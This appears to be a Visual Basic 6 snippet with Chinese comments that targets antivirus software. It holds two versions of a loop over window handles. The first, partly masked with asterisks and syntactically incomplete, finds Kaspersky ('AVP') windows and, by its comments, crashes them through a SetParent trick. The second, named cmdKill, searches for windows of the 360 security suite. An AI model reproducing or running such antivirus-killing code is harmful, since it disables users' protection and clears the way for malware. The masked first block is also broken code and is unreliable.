Option Explicit
Private Declare Function IsWindow Lib "user32.dll" (ByVal hWnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private****()
Dim i As Single
For i = 1 To ****# '遍历所有 hWnd
If **** '是可用的窗口
Dim str As String
str = Space(255)
Call G****(i, str, 255)
str = LCase(str)
If InStr(*****<> 0 Then '是AVP的。。。
Debug.Print str
Load Form2 '调用 SetParent 漏洞攻击卡巴
SetParent i, Form2.hWnd
Unload Form2 '挂了，嘿嘿~
End If
Option Explicit
Private Declare Function IsWindow Lib "user32.dll" (ByVal hWnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Sub cmdKill_Click()
Dim i As Single
For i = 1 To 4294967294#
If IsWindow(i) <> 0 Then
Dim str As String
str = Space(255)
Call GetClassName(i, str, 255)
str = LCase(str)
If InStr(str, "360") <> 0 Then
Debug.Print "类名：" & str & "句柄：" & i
End If
End If
Next i
End Sub
